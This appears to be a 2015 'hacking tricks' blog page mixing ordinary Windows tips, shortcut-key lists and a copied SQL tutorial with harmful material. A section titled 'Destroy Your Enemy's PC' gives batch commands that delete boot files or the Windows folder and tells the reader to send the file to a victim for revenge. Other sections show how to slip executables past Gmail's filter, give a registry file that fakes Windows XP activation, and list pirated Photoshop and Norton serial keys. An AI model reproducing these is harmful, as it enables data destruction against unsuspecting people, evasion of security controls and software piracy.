12 Mar 2015
4 Mar 2015
Simple Tricks
How to Use
Pendrive as RAM memory in Windows 7?
Plug in your
pendrive -> Format with NTFS or FAT32
Now go to
properties ->Select REadyBoost
Check Use this
device ->Choose maximum space to reserve system speed
Click on Apply
and OK.Your Readyboost PenDrive is ready Now to Use
My Personal
Suggestion is to use HP and SanDisk Pendrives for this work.
G mail dot(.)
trick fool any site
Its very useful
trick, with that trick u Able create many account in One
Site,
read that!
if u Have only
one G mail Id,
and u want to
Reg. on any Site second time, and
They not Allowed
One email two Times, then u
Use that Trick,
trick is that!
u add one or more
dots(.) in old email id,
Suppose your old
id is- hackermail@gmail.com On next time u Use!
hacker.mail@gmail.com,hacker..mail@gmail.com,or
just insert many dot(.)in your G mail id
with that Ur
registration Success! and,
if u think!
"Which id we
get Conformation mail" don't Worry u Get confirmation mail on Ur Real
id
Easy Way To Send .EXE Files From Gmail
As we all know
that Gmail don't allow to send executable files. When user will try to send it,
everything will work fine until sending it, but when user will click on send
button it will display message as "hack.exe is an executable file. For
security reasons, Gmail does not allow you to send this type of file." So
that means user
can't send .exe files. I'm sharing one trick by which user can easily send any
type of attachment through gmail. Follow these steps:
Select file which you wanna to send.
Suppose I selected hack.exe
Now Go to Folder Option( Type control in
run, then look for folder option).
Go to view tab
Uncheck, hide extensions for unknown file
types. Apply & then Ok.
Now rename the file hackerlov.exe with
hackerlov.ex
To receiver inform about changing extension
& ask them to renamed it with .exe extension.
That's all.
You can also send
it via winzip or winrar, but some time Gmail scans internally in these files
too.
HOW TO RECOVER DELETED Gmail CONTACTS
Here are the steps
which will help
you to recover
your deleted Gmail
Contacts
:-
1. Login to your
Gmail account.
2. Once you have
logged in,
go to Contacts.
3. In Contacts, go to More
actions->Restore
contacts …
4. When the
Restore
Contacts window
pops up, select a time to restore to
and hit Restore.
Please note
that you can only
restore
deleted contacts
within the past 30 days.
5. After that,
you will see a notification on the top of Gmail’s user interface. You can click
on Undo to
rollback the
change
MAKE YOUR PC/LAPTOP SUPERFAST AS NEW ONE
MAKE YOUR PC FASTER AND SAFER BY FOLLOWING THESE STEP.
STEP 1-.
USE CC CLEANER
SOFTWARE AS THEY REMOVE BOTH TEMP FILE AND COOKIE.
2.-DON'T INSTALL
TWO ANTIVIRUS,ONLY ONE.
3-.GO TO RUN AND
TYPE CMD THEN WRITE CHKDSK,THIS WILL CHECK URDISK.
3.- USE SYSTEM
MECHANIC PROFESSIONAL IN PC,IT MAKES NEW ONE OF PC.
4.-DON'T PLACE
LOT OF ICONS IN DESKTOP,IT WILL SLOW DOWN UR PC.
5.-DON'T INSTALL
ANY TRANSFORMATION PACK.
Destroy Your
Enemy's PC...!!!
Open your notepad
and type the following………
del c:\boot?ini
c:\del autoexec.bat
Now Save as
anyname.exe. Create this in C: drive
The only thing
you need is Notepad.
1. Create a text
file called TEST.txt(empty) in C:\
2. Now in your
notepad type “erase C:\TEST.txt” (without the quotes). Then save it as
“Test.cmd”.
3. Now run the
file “Test.cmd”go to C:\ and you’ll see your Test.txt is gone.
Now, the real
work (don't try this on your personal computer)
1. Go to Notepad
and type erase C:\WINDOWS and save it as findoutaname.cmd.
2. Now DON’T Run
the file or you’ll lose your WINDOWS map.
So, that’s the
Virus. In this way you can make a virus to delete any file you want.
Now to take
revenge. Send you file to your victim. Once victim opens it. WINDOWS map is
Deleted. And he will have to install WINDOWS again.
Beware: Its
simple but a strong virus that can delete anyones Windows OS …
Note: I am not
Taking any Responsibilties if by this you damage your windows.
hope you enjoyed
this article, please take 5 seconds to share it :)
Make your WINDOWS XP Genuine Without any Software
OPEN NOTEPAD AND WRITE THIS:
Windows Registry
Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WPAEvents]
"OOBETimer"=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd
"LastWPAEventLogged"=hex:d5,07,05,00,06,00,07,00,0f,00,38,00,24,00,fd,02
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion]
"CurrentBuild"="1.511.1
() (Obsolete data - do not use)"
"InstallDate"=dword:427cdd95
"ProductId"="69831-640-1780577-45389"
"DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,38,33,31,2d,36,34,30,2d,\
31,37,38,30,35,37,37,2d,34,35,33,38,39,00,5a,00,00,00,41,32,32,2d,30,30,30,\
30,31,00,00,00,00,00,00,00,00,0d,04,89,b2,15,1b,c4,ee,62,4f,e6,64,6f,01,00,\
00,00,00,00,27,ed,85,43,a2,20,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,31,34,35,30,34,00,00,00,00,00,00,00,ce,0e,\
00,00,12,42,15,a0,00,08,00,00,87,01,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,94,a2,b3,ac
"LicenseInfo"=hex:9e,bf,09,d0,3a,76,a5,27,bb,f2,da,88,58,ce,58,e9,05,6b,0b,82,\
c3,74,ab,42,0d,fb,ee,c3,ea,57,d0,9d,67,a5,3d,6e,42,0d,60,c0,1a,70,24,46,16,\
0a,0a,ce,0d,b8,27,4a,46,53,f3,17
NOW SAVE AS
WINDOWS.REG AS FILE NAME OPEN THAT,,AND I GUARANTEE U THAT UR ALL VALIDATION
HAVE BEEN FIXED WITHIN A SECOND,,NOW U HAVE GENUINE WINDOWS
Partition a Drive
Without Losing Data
Wishes to
partition your hard drives? But, partitioning a drive in windows will needed us
toformat the drive. In this tutorial, I will teach you how to partition a drive
without need to backup your data and format your drives. You might wonder if
this trick need you to downloadsome
softwares or tools. Do not worry because this trick is 100% download-free. We
just gonna use a built in windows tool.
This trick had
been tested on Windows7 and Vista. I'm not sure that this trick will work
onwindows XP. This trick allows you to partition any drive including system
drives.
Okay, first of
all open Run dialog box ( Start > Run ). Type in "diskmgmt.msc"
without the quotes in the text box. Wait until Disk Management window pop up.
It may take a few seconds to load. After it’s fully loaded, go to Storage >
Disk management at the left sidebar. Now you could see a list of storage
devices that are currently connected to your computer. Now choosethe drive that
you want to partition. Right Click on it and select "Shrink Volume"
option from menu.
The system will
search for available space in your selected disk volume. A window will pop up
asking you to wait while it loads. This will not take much longer than few
seconds. Next the Shrink dialog box will pop-up. This is where you’ll have to
specify the volume for next partition. Look at the total size of available
shrink space. Below it, you’ll have to enter the space to shrink.
To make sure that
you not losing any data, shrink size is not below the total size of space taken
by files in that drive. You can check the used space by right clicking on the
drive you are going to partition and choose "Properties" from the
menu.
After done
shrinking your drive. You can see an unallocated space in your shrunk drive.
But you’ll still not able to access this new drive. You’ll have to format it
and specify the drive letter to access them. Right click on unallocated drive
and choose "New Simple Volume" option.
New Simple Volume
Wizard Window will pop up. Click on "Next" button to continue. In
next window, you’ll have to specify the size for your new volume. Set full size
if you are satisfied with two partitions or you can divide it again for new
partition. Next, choose any drive letter from the available list and click on "Next"
button. In next window, leave everything as default but make sure it's similar
to the screen below ( If you want to change the volume label, feel free to do
it ).
Click on Finish
window to complete the wizard. Go to My Computer and you can see your new
drive. That is all. Hope this tutorial will help you. Enjoy.
Top 25
Application Secrets in Windows XP
There are some
hidden secrets inside the application
window XP and
sometimes we do not know ...
the following
list is a list of confidential applications are:
To run the applications below:[/color]
Open a command prompt and Type the name of the program
(example:
cleanmgr.exe)
or click Start -> Run and Type in the name of the
program (example: cleanmgr.exe).
1. Disk Cleanup =
cleanmgr.exe
Used to cleanup
disk
2. Character Map
= charmap.exe
Used to search
for unusual characters
3. Dr Watson =
drwtsn32.exe
Used for
troubleshooting on the PC.
4. DirectX
diagnosis = dxdiag.exe
Used for
diagnosis audio video card
5. Private
character editor = eudcedit.exe
Used to create a
new character in your windows
6. IExpress
Wizard = iexpress.exe
Used to create
self-extracting / self-installing package. such as a Zip file
7. MICR *
Synchronization Manager = mobsync.exe soft
Used to make
sincronisasi.
8. Clipboard
Viewer = clipbrd.exe
Used to view the
content of the Windows clipboard
9. Windows Media
Player 5.1 = mplay32.exe
Used to open
Windows Media Player version 5.1
10. ODBC Data
Source Administrator = odbcad32.exe
Used for database
11. Object
Packager = packager.exe
Used to insert an
object into a file.
12. System
Configuration Editor = sysedit.exe
Used to change
the system.ini and win.ini
13. Syskey =
syskey.exe
Used to configure
an account on the windows.
14. MICR * soft
Telnet Client = telnet.exe
Used to connect
to the Internet before there was a browser.
15. Driver
Verifier Manager = verifier.exe
Used for
monitoring drivers in your windows
16. Windows for
Workgroups Chat = winchat.exe
Used to chat sec
17. System
configuration = msconfig.exe
Used to control
startup programs
18. System
Monitor = perfmon.exe
Used to monitor
your PC.
19. Program
Manager = progman.exe
Is inherited from
Windows 3.x desktop shell
20. gpedit.msc
Used to set the
group policy and authorization, if you use Active Directory.
21. Remote Access
phone book = rasphone.exe
It is
applications like phone book
22. Registry
Editor = Regedt32.exe [also regedit.exe]
Used for tweaking
and editing windows registry
23. Network
shared folder wizard = shrpubw.exe
Used to create a
shared network folder
24. Siganture
file verification tool = sigverif.exe
Used to verify
signatures
25. Volume
Control = sndvol32.exe
Used to display
the sound control in the System Tray
Serials Keys
SERIAL KEY:
Adobe Photoshop
CS5
FIRST USE DIS ONE:
1330-1538-7442-0055-7130-2952
IF THE ABOVE ONE
IS NOT WORKING DEN USE DIS:
1330-1971-4830-5668-6067-1762
1330-1912-2628-0850-0232-4869
1330-1148-0472-2735-6555-0617
1330-1544-4195-8131-3034-5634
1330-1886-0283-4688-9152-2034
1330-1118-3174-6558-8260-5378
Norton Internet
security 365 Days key
J7KBD-W8GG6-YW6PG-DJR83-F8QVV
Microsoft ShortCut Keys
Keyboard Shortcuts
Ctrl + A Select all (including text, graphics).
Ctrl + B Bold.
Ctrl + I Italic.
Ctrl + U Underline.
Ctrl + C Copy.
Ctrl + V Paste.
Ctrl + X Cut.
Ctrl + F Find.
Ctrl + Z Undo.
Ctrl + K Insert link.
Ctrl + L Left align.
Ctrl + E Center align.
Ctrl + R Right align.
Ctrl + M Indent.
Ctrl + (left
arrow) Moves one word to the left.
Ctrl + (right
arrow) Moves one word to the right.
Ctrl + (up
arrow) Moves cursor to the beginning
of the paragraph.
Ctrl + (down
arrow) Moves cursor to the end of the
paragraph.
Ctrl + Shift +
F Change font.
Ctrl + Shift +
* View/hide non-printing characters.
Ctrl + Del Deletes word to the right of cursor.
Ctrl +
Backspace Deletes word to the left of
cursor.
Ctrl + End Moves cursor to the end of document.
Ctrl + Home Moves cursor to the beginning of document.
Ctrl +
Spacebar Reset highlighted text to
the default font.
Ctrl + 1 Single-space.
Ctrl + 2 Double-space.
Ctrl + 5 1.5-line.
Ctrl + Alt +
1 Format text: heading 1.
Ctrl + Alt +
2 Format text: heading 2.
Ctrl + Alt +
3 Format text: heading 3.
F1 Help.
F4 Repeat the last action
F5 Go to .
F7 Spelling and grammar.
F12 Save as.
F8 then (left
arrow) Increase selection to the left
by one character
F8 then (right
arrow) Increase selection to the
right by one character
Ctrl + F1 Task Pane.
Ctrl + F2 Print preview.
Alt + Ctrl +
F2 New document.
Shift + F3 Cycle between capitalized formats
Ctrl +
Insert Copy.
Shift +
Insert Paste.
Shift + End Select from current position to the end of
the line.
Shift + Home Select from current position to the
beginning of the line.
Ctrl + Shift +
(left arrow) Select from current
position to the beginning of the word.
Ctrl + Shift +
(right arrow) Select from current
position to the end of the word.
Ctrl + Shift +
(up arrow) Select from current
position to the beginning of the document.
Ctrl + Shift +
(down arrow) Select from current
position to the end of the document.
Ctrl + Shift +
Page Up Select from current position
to the beginning of the window.
Ctrl + Shift +
Page Down Select from current
position to the end of the window.
Shift + Page
Up One screen page up.
Shift + Page
Down One screen page down.
Shift + F7 Thesaurus check selected text.
Shift + F12 Save.
Ctrl + Shift +
F12 Print.
Alt + Shift +
D Insert the current date.
Alt + Shift +
T Insert the current time.
Enjoy and Share Click to add text, images, and other
content
Convert video with VLC Player.
Convert your
video using VLC media player instead of using many converter . its too easy
just follw below steps and catch your video format..:)
For Windows
1> Click Media
>> Convert/Save. .
2> Select the
file you want to convert using Add
. Now click on
Convert/Save button and next window will appear.
3> Now click
on browse and select where you want to save theconverted file. Down under you
can see a drop down menu from which you can select the output format. Hit the
Start button, sit back and relax.
For Mac:
1> Click File
-> Streaming/Exporting Wizard and check Transcode/save to a file and hit
Next.
2> Click
choose and select the fileyou want to convert and hit Next again. Check
Transcode video andaudio boxes and select the outputformats for you video,
after hit Next twice.
3> Select the
location where you want to save the output using Choose button, hit Next and
later Finish.
---Trick to enable/diable "Task manager"---
* Click Start
* Click Run
* Enter
gpedit.msc in the Open box and click OK
* In the Group
Policy settings window
o Select User
Configuration
o Select
Administrative Templates
o Select System
o Select
Ctrl+Alt+Delete options
o Select Remove
Task Manager
o Double-click
the Remove Task Manager option
since the policy
is Remove Task Manager, by disabling the policy, you are enabling the Task
Manager.
Awesome Youtube
Tricks
1.Go to you tube
2.select any
video
3.Pause the video
at 0:00.
4.Go full screen
5.Press the LEFT
arrow key, while also pressing the UP arrow key [So you're pressing them both
at the same time]
6. Let it go
7.Then tap both
of them at the same time.
8. Enjoy your
game of SNAKE...
Quick Tips for Computer Security
There are several
ways you can protect your computer and data from malicious attacks. Most of
them can be done at no cost at all. Here are some simple tips that will help
keep your computer and data safe.
Stay away from warez (pirated software), cracks,
keygens, and programs from P2P.
Install ALL of your Windows updates (e.g.
software updates, security fixes, patches, service packs).
Back up your important data regularly. How do
I back up my data?
Keep your software updated. How do I keep my
software up-to-date?
Use a good antivirus program. Best Free
Antivirus Software
Do not open email attachments from unknown
sources or files sent through an instant messenger.
Only download software from trusted sources (e.g.
FileHippo, SnapFiles).
Use strong passwords. Passwords should be a
minimum of eight characters and contain uppercase letters, lowercase letters,
numbers, and symbols (!,@, #, &, %, *).
Disable unnecessary plug-ins in your web
browser. This will help keep you safe from malicious scripts and activeX
exploits.
Use a secure DNS service such as OpenDNS or
Google DNS. List of Free Secure DNS Services
Do not believe every virus warning you
receive; many are hoaxes and scareware. How To Identify and Avoid Antivirus
Scams
Remain as anonymous as possible. Do not give
out your full name, address, phone number, or other personal information to
anyone you do not know or who doesn’t have a legitimate need for it (in person,
over the phone, via email, or the Internet).
Turn off your
computer or log off when you are not using it. If the computer is on and
connected, it can be exposed to an attack.
Replace programs that have a bad security
track record (e.g. IE, Outlook, Adobe Reader).
HacktheHacker1::::::Like
and Share this Post
Facebook ShortCut Keys
For Facebook Help
Center - Shift+Alt+0
For Facebook Home
Page - Shift+Alt+1
For Your Facebook
Profile Page - Shift+Alt+2
For Friend
Request - Shift+Alt+3
For Messages -
Shift+Alt+4
For Notification
- Shift+Alt+5
For Account
Settings - Shift+Alt+6
For Privacy
Settings - Shift+Alt+7
For Facebook
Pages - Shift+Alt+8
For Facebook
Terms of Use - Shift+Alt+9
For enable Search
- Shift+Alt+?
For Compose a New
message - Shift+Alt+m
Enjoy::
How to Download Torrent Files With IDM for free?
Steps::
1)First Download
Internet Download Manager from this link>>>
http://hackthehacker.webs.com/hackingtoolsfree.htm
2)Now copy any
Torrent link Address or Download The Torrent File.
3)Now visit site:
zbigz.com
4)Paste the Link
address or Upload the Torrent File.
5)Now click on Go
Free
SQL TUTORIAL
What is SQL?
- SQL stands for Structured Query Language
- SQL lets you access and manipulate databases
- SQL is an ANSI (American National Standards Institute) standard
What Can SQL do?
- SQL can execute queries against a database
- SQL can retrieve data from a database
- SQL can insert records in a database
- SQL can update records in a database
- SQL can delete records from a database
- SQL can create new databases
- SQL can create new tables in a database
- SQL can create stored procedures in a database
- SQL can create views in a database
- SQL can set permissions on tables, procedures, and views
SQL is a Standard - BUT....
Although SQL is an ANSI (American National Standards Institute) standard, there are different versions of the SQL language.
However, to be compliant with the ANSI standard, they all support at least the major commands (such as SELECT, UPDATE, DELETE, INSERT, WHERE) in a similar manner.
Note: Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard! |
Using SQL in Your Web Site
To build a web site that shows data from a database, you will need:
- An RDBMS database program (i.e. MS Access, SQL Server, MySQL)
- To use a server-side scripting language, like PHP or ASP
- To use SQL to get the data you want
- To use HTML / CSS
RDBMS
RDBMS stands for Relational Database Management System.
RDBMS is the basis for SQL, and for all modern database systems such as MS SQL Server, IBM DB2, Oracle, MySQL, and Microsoft Access.
The data in RDBMS is stored in database objects called tables.
A table is a collection of related data entries and it consists of columns and rows.
Database Tables
A database most often contains one or more tables. Each table is identified by a name (e.g. "Customers" or "Orders"). Tables contain records (rows) with data.
In this tutorial we will use the well-known Northwind sample database (included in MS Access and MS SQL Server).
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
The table above contains five records (one for each customer) and seven columns (CustomerID, CustomerName, ContactName, Address, City, PostalCode, and Country).
SQL Statements
Most of the actions you need to perform on a database are done with SQL statements.
The following SQL statement selects all the records in the "Customers" table:
In this tutorial we will teach you all about the different SQL statements.
Keep in Mind That...
- SQL is NOT case sensitive: select is the same as SELECT
In this tutorial we will write all SQL keywords in upper-case.
Semicolon after SQL Statements?
Some database systems require a semicolon at the end of each SQL statement.
Semicolon is the standard way to separate each SQL statement in database systems that allow more than one SQL statement to be executed in the same call to the server.
In this tutorial, we will use semicolon at the end of each SQL statement.
Some of The Most Important SQL Commands
- SELECT - extracts data from a database
- UPDATE - updates data in a database
- DELETE - deletes data from a database
- INSERT INTO - inserts new data into a database
- CREATE DATABASE - creates a new database
- ALTER DATABASE - modifies a database
- CREATE TABLE - creates a new table
- ALTER TABLE - modifies a table
- DROP TABLE - deletes a table
- CREATE INDEX - creates an index (search key)
- DROP INDEX - deletes an index
The SQL SELECT Statement
The SELECT statement is used to select data from a database.
The result is stored in a result table, called the result-set.
SQL SELECT Syntax
SELECT column_name,column_name
FROM table_name;
FROM table_name;
and
SELECT * FROM table_name;
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
SELECT Column Example
The following SQL statement selects the "CustomerName" and "City" columns from the "Customers" table:
SELECT * Example
The following SQL statement selects all the columns from the "Customers" table:
Navigation in a Result-set
Most database software systems allow navigation in the result-set with programming functions, like: Move-To-First-Record, Get-Record-Content, Move-To-Next-Record, etc.
Programming functions like these are not a part of this tutorial. To learn about accessing data with function calls, please visit our ASP tutorial or our PHP tutorial.
The SQL SELECT DISTINCT Statement
In a table, a column may contain many duplicate values; and sometimes you only want to list the different (distinct) values.
The DISTINCT keyword can be used to return only distinct (different) values.
SQL SELECT DISTINCT Syntax
SELECT DISTINCT column_name,column_name
FROM table_name;
FROM table_name;
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
SELECT DISTINCT Example
The following SQL statement selects only the distinct values from the "City" columns from the "Customers" table:
Example
SELECT DISTINCT City FROM Customers;
Try it yourself »
The SQL WHERE Clause
The WHERE clause is used to extract only those records that fulfill a specified criterion.
SQL WHERE Syntax
SELECT column_name,column_name
FROM table_name
WHERE column_name operator value;
FROM table_name
WHERE column_name operator value;
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
WHERE Clause Example
The following SQL statement selects all the customers from the country "Mexico", in the "Customers" table:
Text Fields vs. Numeric Fields
SQL requires single quotes around text values (most database systems will also allow double quotes).
However, numeric fields should not be enclosed in quotes:
Operators in The WHERE Clause
The following operators can be used in the WHERE clause:
Operator | Description |
---|---|
= | Equal |
<> | Not equal. Note: In some versions of SQL this operator may be written as != |
> | Greater than |
< | Less than |
>= | Greater than or equal |
<= | Less than or equal |
BETWEEN | Between an inclusive range |
LIKE | Search for a pattern |
IN | To specify multiple possible values for a column |
The AND & OR operators are used to filter records based on more than one condition.
The SQL AND & OR Operators
The AND operator displays a record if both the first condition AND the second condition are true.
The OR operator displays a record if either the first condition OR the second condition is true.
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
AND Operator Example
The following SQL statement selects all customers from the country "Germany" AND the city "Berlin", in the "Customers" table:
OR Operator Example
The following SQL statement selects all customers from the city "Berlin" OR "München", in the "Customers" table:
Combining AND & OR
You can also combine AND and OR (use parenthesis to form complex expressions).
The following SQL statement selects all customers from the country "Germany" AND the city must be equal to "Berlin" OR "München", in the "Customers" table:
Example
SELECT * FROM Customers
WHERE Country='Germany'
AND (City='Berlin' OR City='München');
WHERE Country='Germany'
AND (City='Berlin' OR City='München');
Try it yourself »
The ORDER BY keyword is used to sort the result-set.
The SQL ORDER BY Keyword
The ORDER BY keyword is used to sort the result-set by one or more columns.
The ORDER BY keyword sorts the records in ascending order by default. To sort the records in a descending order, you can use the DESC keyword.
SQL ORDER BY Syntax
SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;
FROM table_name
ORDER BY column_name,column_name ASC|DESC;
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
ORDER BY Example
The following SQL statement selects all customers from the "Customers" table, sorted by the "Country" column:
ORDER BY DESC Example
The following SQL statement selects all customers from the "Customers" table, sorted DESCENDING by the "Country" column:
ORDER BY Several Columns Example
The following SQL statement selects all customers from the "Customers" table, sorted by the "Country" and the "CustomerName" column:
The SQL INSERT INTO Statement
The INSERT INTO statement is used to insert new records in a table.
SQL INSERT INTO Syntax
It is possible to write the INSERT INTO statement in two forms.
The first form does not specify the column names where the data will be inserted, only their values:
INSERT INTO table_name
VALUES (value1,value2,value3,...);
VALUES (value1,value2,value3,...);
The second form specifies both the column names and the values to be inserted:
INSERT INTO table_name (column1,column2,column3,...)
VALUES (value1,value2,value3,...);
VALUES (value1,value2,value3,...);
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
87 | Wartian Herkku | Pirkko Koskitalo | Torikatu 38 | Oulu | 90110 | Finland |
88 | Wellington Importadora | Paula Parente | Rua do Mercado, 12 | Resende | 08737-363 | Brazil |
89 | White Clover Markets | Karl Jablonski | 305 - 14th Ave. S. Suite 3B | Seattle | 98128 | USA |
90 | Wilman Kala | Matti Karttunen | Keskuskatu 45 | Helsinki | 21240 | Finland |
91 | Wolski | Zbyszek | ul. Filtrowa 68 | Walla | 01-012 | Poland |
INSERT INTO Example
Assume we wish to insert a new row in the "Customers" table.
We can use the following SQL statement:
Example
INSERT INTO Customers (CustomerName, ContactName, Address, City, PostalCode, Country)
VALUES ('Cardinal','Tom B. Erichsen','Skagen 21','Stavanger','4006','Norway');
VALUES ('Cardinal','Tom B. Erichsen','Skagen 21','Stavanger','4006','Norway');
Try it yourself »
The selection from the "Customers" table will now look like this:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
87 | Wartian Herkku | Pirkko Koskitalo | Torikatu 38 | Oulu | 90110 | Finland |
88 | Wellington Importadora | Paula Parente | Rua do Mercado, 12 | Resende | 08737-363 | Brazil |
89 | White Clover Markets | Karl Jablonski | 305 - 14th Ave. S. Suite 3B | Seattle | 98128 | USA |
90 | Wilman Kala | Matti Karttunen | Keskuskatu 45 | Helsinki | 21240 | Finland |
91 | Wolski | Zbyszek | ul. Filtrowa 68 | Walla | 01-012 | Poland |
92 | Cardinal | Tom B. Erichsen | Skagen 21 | Stavanger | 4006 | Norway |
Did you notice that we did not insert any number into the CustomerID field? The CustomerID column is automatically updated with a unique number for each record in the table. |
Insert Data Only in Specified Columns
It is also possible to only insert data in specific columns.
The following SQL statement will insert a new row, but only insert data in the "CustomerName", "City", and "Country" columns (and the CustomerID field will of course also be updated automatically):
Example
INSERT INTO Customers (CustomerName, City, Country)
VALUES ('Cardinal', 'Stavanger', 'Norway');
VALUES ('Cardinal', 'Stavanger', 'Norway');
Try it yourself »
The SQL UPDATE Statement
The UPDATE statement is used to update existing records in a table.
SQL UPDATE Syntax
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
Notice the WHERE clause in the SQL UPDATE statement! The WHERE clause specifies which record or records that should be updated. If you omit the WHERE clause, all records will be updated! |
Demo Database
In this tutorial we will use the well-known Northwind sample database.
Below is a selection from the "Customers" table:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Maria Anders | Obere Str. 57 | Berlin | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
SQL UPDATE Example
Assume we wish to update the customer "Alfreds Futterkiste" with a new contact person and city.
We use the following SQL statement:
Example
UPDATE Customers
SET ContactName='Alfred Schmidt', City='Hamburg'
WHERE CustomerName='Alfreds Futterkiste';
SET ContactName='Alfred Schmidt', City='Hamburg'
WHERE CustomerName='Alfreds Futterkiste';
Try it yourself »
The selection from the "Customers" table will now look like this:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
1 | Alfreds Futterkiste | Alfred Schmidt | Obere Str. 57 | Hamburg | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Ana Trujillo | Avda. de la Constitución 2222 | México D.F. | 05021 | Mexico |
3 | Antonio Moreno Taquería | Antonio Moreno | Mataderos 2312 | México D.F. | 05023 | Mexico |
4 | Around the Horn | Thomas Hardy | 120 Hanover Sq. | London | WA1 1DP | UK |
5 | Berglunds snabbköp | Christina Berglund | Berguvsvägen 8 | Luleå | S-958 22 | Sweden |
Update Warning!
Be careful when updating records. If we had omitted the WHERE clause, in the example above, like this:
UPDATE Customers
SET ContactName='Alfred Schmidt', City='Hamburg';
SET ContactName='Alfred Schmidt', City='Hamburg';
The "Customers" table would have looked like this:
CustomerID | CustomerName | ContactName | Address | City | PostalCode | Country |
---|---|---|---|---|---|---|
